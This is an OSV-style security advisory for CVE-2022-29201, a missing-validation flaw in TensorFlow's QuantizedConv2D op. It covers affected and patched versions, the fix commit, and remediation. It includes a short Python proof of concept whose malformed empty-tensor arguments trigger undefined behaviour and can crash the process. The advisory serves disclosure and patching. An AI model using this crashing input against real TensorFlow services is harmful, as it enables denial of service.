---
id: CVE-2022-29201
aliases:
  - GHSA-pqhm-4wvf-2jg8
  - BIT-tensorflow-2022-29201
  - PYSEC-2026-1026
title: Missing validation results in undefined behavior in `QuantizedConv2D`
summary: Missing validation results in undefined behavior in `QuantizedConv2D`
severity: medium
cvss: 5.5
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.6.4
  - 'tensorflow >= 2.7.0, < 2.7.2'
  - 'tensorflow >= 2.8.0, < 2.8.1'
  - tensorflow-cpu < 2.6.4
  - 'tensorflow-cpu >= 2.7.0, < 2.7.2'
  - 'tensorflow-cpu >= 2.8.0, < 2.8.1'
  - tensorflow-gpu < 2.6.4
  - 'tensorflow-gpu >= 2.7.0, < 2.7.2'
  - 'tensorflow-gpu >= 2.8.0, < 2.8.1'
patched:
  - tensorflow 2.6.4
  - tensorflow 2.7.2
  - tensorflow 2.8.1
  - tensorflow-cpu 2.6.4
  - tensorflow-cpu 2.7.2
  - tensorflow-cpu 2.8.1
  - tensorflow-gpu 2.6.4
  - tensorflow-gpu 2.7.2
  - tensorflow-gpu 2.8.1
published: '2022-05-24'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-pqhm-4wvf-2jg8'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pqhm-4wvf-2jg8
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2022-29201'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4
  - url: 'https://github.com/tensorflow/tensorflow'
  - url: >-
      https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4'
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2'
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1'
  - url: 'https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0'
tags:
  - osv
  - pip
epss: 0.00335
epssPercentile: 0.27046
ingestedAt: '2026-07-08T18:25:51.830Z'
---

## Overview

### Impact
The implementation of [`tf.raw_ops.QuantizedConv2D`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc) does not fully validate the input arguments:

```python
import tensorflow as tf

input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)

# bad args
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[], dtype=tf.float32)
min_filter = tf.constant(0, shape=[], dtype=tf.float32)
max_filter = tf.constant(0, shape=[], dtype=tf.float32)

tf.raw_ops.QuantizedConv2D(
  input=input,
  filter=filter,
  min_input=min_input,
  max_input=max_input,
  min_filter=min_filter,
  max_filter=max_filter, 
  strides=[1, 1, 1, 1],
  padding="SAME")
```

In this case, references get bound to `nullptr` for each argument that is empty (in the example, all arguments in the `bad args` section).

### Patches
We have patched the issue in GitHub commit [0f0b080ecde4d3dfec158d6f60da34d5e31693c4](https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.


## Affected packages

- `tensorflow < 2.6.4`
- `tensorflow >= 2.7.0, < 2.7.2`
- `tensorflow >= 2.8.0, < 2.8.1`
- `tensorflow-cpu < 2.6.4`
- `tensorflow-cpu >= 2.7.0, < 2.7.2`
- `tensorflow-cpu >= 2.8.0, < 2.8.1`
- `tensorflow-gpu < 2.6.4`
- `tensorflow-gpu >= 2.7.0, < 2.7.2`
- `tensorflow-gpu >= 2.8.0, < 2.8.1`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.6.4`
- `tensorflow 2.7.2`
- `tensorflow 2.8.1`
- `tensorflow-cpu 2.6.4`
- `tensorflow-cpu 2.7.2`
- `tensorflow-cpu 2.8.1`
- `tensorflow-gpu 2.6.4`
- `tensorflow-gpu 2.7.2`
- `tensorflow-gpu 2.8.1`